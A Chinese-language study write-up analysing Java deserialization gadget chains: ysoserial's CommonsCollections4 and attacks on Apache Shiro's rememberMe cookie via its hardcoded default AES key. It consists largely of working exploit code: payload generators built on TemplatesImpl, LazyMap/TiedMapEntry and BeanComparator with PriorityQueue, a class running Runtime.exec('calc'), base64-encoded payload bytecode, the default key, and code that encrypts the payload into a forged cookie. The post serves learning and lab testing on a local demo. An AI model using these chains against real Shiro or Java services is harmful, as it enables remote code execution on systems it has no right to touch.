CC4、shiro……

CC4

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);

ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

return queue;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections4.class, args);
}
}

代码并不难,跑了一遍程序之后可以弹出计算器,那么现在就来分析一下吧

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<init>:101, XMLFilterImpl (org.xml.sax.helpers)
<init>:62, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
transform:116, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:32, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:112, ChainedTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:27, Deserializer (ysoserial)
deserialize:22, Deserializer (ysoserial)
run:38, PayloadRunner (ysoserial.payloads.util)
main:62, CommonsCollections4 (ysoserial.payloads)

PriorityQueue

优先队列类

主要是对队列进行操作,可以序列化

浅析

因为最外层套的就是PriorityQueue,那就先去看一下PriorityQueue#readObject,在最后会调用到heapify()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

heapify()形成最大堆,调用到siftDownUsingComparator的时候会调用到comparator.compare(x, (E) c)也就是TransformingComparator#compare参数都为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

TransformingComparator#compare,而在实例化的时候this.transformer的值为ChainedTransformer

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

ChainedTransformer#transform方法又会调用到ConstantTransformerInstantiateTransformertransform,后面的也和CC3一样了在InstantiateTransformer#transform中将TrAXFilter实例化,并且将payload作为参数传进去,从而TrAXFilter在初始化的时候调用到了TemplatesImpl#newTransformer,这里就回到了之前的TemplatesImpl调用链了

1
2
3
4
for(int i$ = 0; i$ < len$; ++i$) {
Transformer<? super T, ? extends T> iTransformer = arr$[i$];
object = iTransformer.transform(object);
}

和CC3的区别

Apache Commons Collections是⼀个著名的辅助开发库,包含了⼀些Java中没有的数据结构和和辅助 ⽅法,不过随着Java 9以后的版本中原⽣库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级 或替代。 在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两 个分⽀版本:

  • commons-collections:commons-collections

  • org.apache.commons:commons-collections4

CC2和CC4都不适用依赖为commons-collections3.2.1的环境,依赖已经变成commons-collections4,区别为PriorityQueue类在commons-collections4中可序列化,甚至出现了更多可序列化的Transformer

但以前的CC链还是能够用到,但是需要修改,就比如CC6可以使用,但是LazyMap#decorate方法没了直接换成另一个相同操作的方法就好了

Shiro

shiro是什么

Apache Shiro 是 Java 的一个安全框架。目前,使用 Apache Shiro 的人越来越多,因为它相当简单,对比 Spring Security,可能没有 Spring Security 做的功能强大,但是在实际工作时可能并不需要那么复杂的东西,所以使用小而简单的 Shiro 就足够了。

img

漏洞原理:

为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

CC攻击shiro

用P神的Demo,用IDEA部署

发现存在CC依赖(用于反序列化漏洞

image-20220627173631844

部署好之后登录,如果登录成功并且如果在登录的时候选择了rememberme就会产生cookie记录用户信息,从而导致了反序列化漏洞的出现。意思即因为shiro加密的密钥是固定的,如果我们获取到了密钥然后将我们的payload进行加密,放到rememberme上,shiro就会将我们的payload反序列化

image-20220627192116391

1
2
默认密钥:
kPH+bIxk5D2deZiIxcaaaA==

在反序列化之前我们可以先去走一遍他是怎么进行加密并放到Cookie上的

前置知识

可以全局搜索一下RememberMe,存在一个接口,要实现登陆成功、登陆失败、登出等方法,那么就可以直接去实现这个接口的类

AbstractRememberMeManager在登陆成功的时候会判断是否需要Remember,跟进isRememberMerememberIdentity

1
2
3
4
5
6
7
8
9
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
this.forgetIdentity(subject);
if (this.isRememberMe(token)) {
this.rememberIdentity(subject, token, info);
} else if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. RememberMe functionality will not be executed for corresponding account.");
}

}

实际上是会去CookieRememberMeManager,因为这个类毕竟是个抽象类捏,继续看。这里的Token实际上就是记录用户信息,包括:用户名、密码以及是否remember

image-20220627195428748

然后通过rememberIdentity将用户信息装成字节码,并且进行AES加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = this.serialize(principals);
if (this.getCipherService() != null) {
bytes = this.encrypt(bytes);
}

return bytes;
}

// private CipherService cipherService = new AesCipherService();

而在加密方法中,执行加密,且密钥为默认的kPH+bIxk5D2deZiIxcaaaA==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}

return value;
}

public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

加密结束之后就会调用到CookieRememberMeManager#rememberSerializedIdentity,实现将cookie设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}

} else {
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
String base64 = Base64.encodeToString(serialized);
Cookie template = this.getCookie();
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
}
Attack

试着直接用无限制的CC6 AES加密之后是否可以打通

发生了报错,说是不加载Transform这个类,会报错说明就是在反序列化也就是解析rememberMe的时候出现了问题,试着打断点看看

image-20220627203627520

因为各种原因,cookie没修改成功,也懒得本地抓包了,那就跟着P神的思路来吧

异常关键是在ClassResolvingObjectInputStream,可以发现报错信息就是从这个类里出来的。

resolveClass方法中对类的加载用到是ClassUtils#forName

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
}
}
}

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName (实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),而后者用的是Java原 生的 Class.forName 。

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

TemplateImpl Attack

P神的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("getClass", null, null);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");

// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();
}
}

学习CC3的时候学到的TemolateImpl

1
2
3
4
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "null"); // 不为空就好 无要求
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // defineTransletClasses方法中会存在调用 防止报错

而在利用TemplatesImpl的时候,还是用到了Transformer数组,其中第一个元素为ConstantTransformer主要是用来实例化TrAXFilter,因为在这个类的初始化的时候会调用到TemplatesImpl#newTransformer从而完成整个Gadget

1
2
3
4
5
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};

而在·CC6的链子中会用到TiedMapEntry,用于通过getvalue方法触发LazyMap#get方法,这里也会触发到transform方法,而key则是我们传进去的TemplatesImpl

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

调用到了InvokeTransform#transform,实现把TemplatesImpl进行实例化,并执行其方法,而这里的this.iMethodName又是我们可控的,所以如果把this.iMethodName赋值为newTransformer不就可以实现RCE了嘛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
1
setFieldValue(transformer, "iMethodName", "newTransformer");

image-20220629110957407

Shiro不是遇到Tomcat就一定会有数组这个问题

Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了

网上大部分的文章上来就是装一个commons-collections4.0,这个是没有代表性的,不建议将这二 者结合起来学习

无CC攻击shiro

Java Bean
1
2
3
4
5
6
7
8
9
10
public class Person {
private String name;
private int age;

public String getName() { return this.name; }
public void setName(String name) { this.name = name; }

public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }
}

总的来说只存在settergetter方法的类称为JavaBean

Apache Commons Beanutils

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.govuln.shiroattack;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class Test {
private String name = "Ameuu";

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public static void main(String[] args) {
try {
System.out.println(PropertyUtils.getProperty(new Test(), "name"));
} catch (Exception e) {
e.printStackTrace();
}
}
}

提供了静态方法PropertyUtils.getProperty()

1
2
3
4
5
6
7
public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}

public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return this.getNestedProperty(bean, name);
}

调用到PropertyUtilsBean#getNestedProperty,因为测试类只有一个属性所以会直接到最后一个else,调用到getSimpleProperty

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
if (bean == null) {
……
} else {
while(this.resolver.hasNested(name)) {
……
}

if (bean instanceof Map) {
……
} else {
bean = this.getSimpleProperty(bean, name);
}

return bean;
}
}

getSimpleProperty会在最后获取关于这个类的属性的描述,再调用相应的getter获取属性值,实现不直接用getter获取到属性的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
if (bean == null) {
……
} else if (bean instanceof DynaBean) {
……
} else {
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
} else {
Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
} else {
Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return value;
}
}
}
}

image-20220629145746755

执行getName(getter)获取内容

image-20220629145916030

利用getter

本次链子还是需要用到TemplatesImpl,那么现在就是要找到该怎么触发到``TemplatesImpl#newTransformer`从而实现RCE

就比如前面运用过的TrAXFilter,然后也不要忘了一开始在分析TemplatesImpl链子的时候它自身的getOutputProperties其实就会调用到newTransformer

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

再结合前面所学的PropertyUtils.getProperty(),那么就可以实现调用到getOutputProperties方法

这里用到的是org.apache.commons.beanutils.BeanComparator,而他的compare方法就调用到了 PropertyUtils.getProperty

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
构造链子

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Exp extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public Exp() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

编译生成字节码

image-20220629162937904

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.messaging.saaj.util.ByteInputStream;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CBShiroTest {
public static void main(String[] args) throws Exception{
// 命令 这里用了javassist进行命令执行
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
// 不用javassist
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABpjb20vZ292dWxuL3NoaXJvYXR0YWNrL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABIACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAFAAEABUADQAWAAsAAAAEAAEAEAABABEAAAACABI=");


TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazz.toBytecode()});
// setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "ameuu");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
// 防止初始化报错
priorityQueue.add("1");
priorityQueue.add("1");

// 将property变为outputProperties 从而可以在BeanComparator#compare能够调用到TemplatesImpl#getOutputProperties
setFieldValue(beanComparator,"property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

// do serialize
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.close();

// System.out.println(byteArrayOutputStream.toByteArray());

// deserialize
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object) objectInputStream.readObject();

}

// 利用反射进行赋值
public static void setFieldValue(Object obj,String name,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

相比于ysoserial里的CommonsBeanutils1利用链,本文的利用链去掉了对 java.math.BigInteger 的 使用,因为ysoserial为了兼容 property=lowestSetBit ,但实际上我们将 property 设置为null即可。

无CC依赖链子

把CC依赖给删掉之后,计算器弹不出来了,而存在报错

因为BeanComparator类中如果不给赋值的话,this.comparator会被初始化为org.apache.commons.collections.comparators.ComparableComparator,而这个类又是CC中的,所以就不能执行成功了

image-20220629164939858

1
import org.apache.commons.collections.comparators.ComparableComparator;

image-20220629165135130

所以要找到对应的类去代替org.apache.commons.collections.comparators.ComparableComparator

满足的条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

CaseInsensitiveComparator该类是String的内部类。并且String.CASE_INSENSITIVE_ORDER就实现实例化这个类,所以我们只要传入String.CASE_INSENSITIVE_ORDER就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;

public int compare(String s1, String s2) {
……
}

/** Replaces the de-serialized object. */
private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}

修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CBTest {
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABpjb20vZ292dWxuL3NoaXJvYXR0YWNrL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABIACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAFAAEABUADQAWAAsAAAAEAAEAEAABABEAAAACABI=");
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "ameuu");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("1");

setFieldValue(beanComparator,"property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

// do serialize
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.close();

// System.out.println(byteArrayOutputStream.toByteArray());

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object) objectInputStream.readObject();

}

// 利用反射进行赋值
public static void setFieldValue(Object obj,String name,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
实例

继续用P神的Demo

在上面的exp后面加上加密代码,将加密之后的字符串放到rememberMe上,

1
2
3
4
5
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
System.out.printf(ciphertext.toString());

image-20220629170351741